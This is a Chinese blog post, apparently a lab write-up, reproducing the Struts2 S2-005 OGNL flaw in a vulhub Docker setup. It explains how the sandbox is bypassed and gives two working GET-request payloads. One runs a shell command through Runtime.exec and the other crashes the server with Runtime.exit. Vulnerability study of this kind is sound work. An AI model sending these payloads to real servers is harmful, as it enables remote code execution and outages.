漏洞复现----28、Struts2/S2-005


一、漏洞原理

OGNL除其他功能外,还提供了广泛的表达式评估功能,在S2-003中,Struts会将HTTP的每个参数名解析为OGNL语句执行(可以理解为Java代码),
例如:XWork会将GET参数的键和值利用OGNL表达式解析成Java语句,如:

user.address.city=Bishkek&user['favoriteDrink']=kumys 
//会被转化成
action.getUser().getAddress().setCity("Bishkek")  
action.getUser().setFavoriteDrink("kumys")

OGNL表达式通过#来访问struts的对象,Struts框架通过过滤#字符防止安全问题,通过unicode编码(u0023)或8进制(43),绕过ParametersInterceptor内置的'#'使用保护,从而能够操纵服务器端上下文对象。

例如:

要将#session.user设置为“ 0wn3d”,可以使用以下参数名称:
('\ u0023'+'session 'user '')(未使用)= 0wn3d

网址编码后,其外观如下所示:
('\ u0023'%20%2b%20'session 'user '')(未使用)= 0wn3d

在修复S2-003时,官方新出了一个沙盒机制,禁止静态方法调用和类方法执行等。默认禁止了静态方法的调用(allowStaticMethodAcces和MethodAccessor.denyMethodExecution),
但是我们可以利用OGNL表达式先把沙盒关闭掉,此安全配置被绕过,就又可以执行命令了。

xwork.MethodAccessor.denyMethodExecution设置为false,
allowStaticMethodAccess设置为true

整体过程如下:

S2-003 使用unicode编码\u0023和8进制编码43绕过s2对#的防御
S2-003 后官方增加了安全模式(沙盒)
S2-005 使用OGNL表达式将沙盒关闭,继续执行代码
影响版本
2.0.0 - 2.1.8.1

二、环境启动

docker-compose build
docker-compose up -d
访问:http:ip:8080

三、漏洞利用:

3.1、利用方式一

POC如下

GET /example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true
&(aaaa)((%27\u0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))
&(asdf)(('\u0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1 

我们将POC还原:

1、?('#_memberAccess['allowStaticMethodAccess']')(vaaa)=true 
2&(aaaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#vccc')(#vccc=new java.lang.Boolean("false")))
3&(asdf)(('#rt.exec("touch /tmp/success".split(" "))')(#rt=@java.lang.Runtime@getRuntime()))=1

我们看还原后的第一步:
将_memberAccess变量中的allowStaticMethod方法设置为true,此选项可以执行静态方法。
第二步:
将上下文中的xwork.MethodAccessor.denyMethodExecution设置为false,此选项允许方法的执行。
前文我们提到,需要先将沙盒防御关闭,才能利用,而前两步骤就是为了关闭沙盒的防御,由于我们利用的OGNl表达式,所以在写POC的时候,需要遵守OGNL的语法树规则。
第三步:
是我们的攻击代码,通过调用Runtime类的静态方法获取一个Runtime对象。执行exec("touch /tmp/success".split(" "))操作。

3.2、利用方式二

POC如下:

GET /example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true
&(aaaa)((%27\u0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))
&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1 

我们将POC还原:

1、?('#_memberAccess['allowStaticMethodAccess']')(vaaa)=true 
2&(aaaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#vccc')(#vccc=new java.lang.Boolean("false")))
3&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1

前两步骤和POC1中一样,是为了绕过沙盒防御。
第三步中的命令,会导致服务器挂掉。


参考链接:https://github.com/vulhub/

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

李沉肩

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值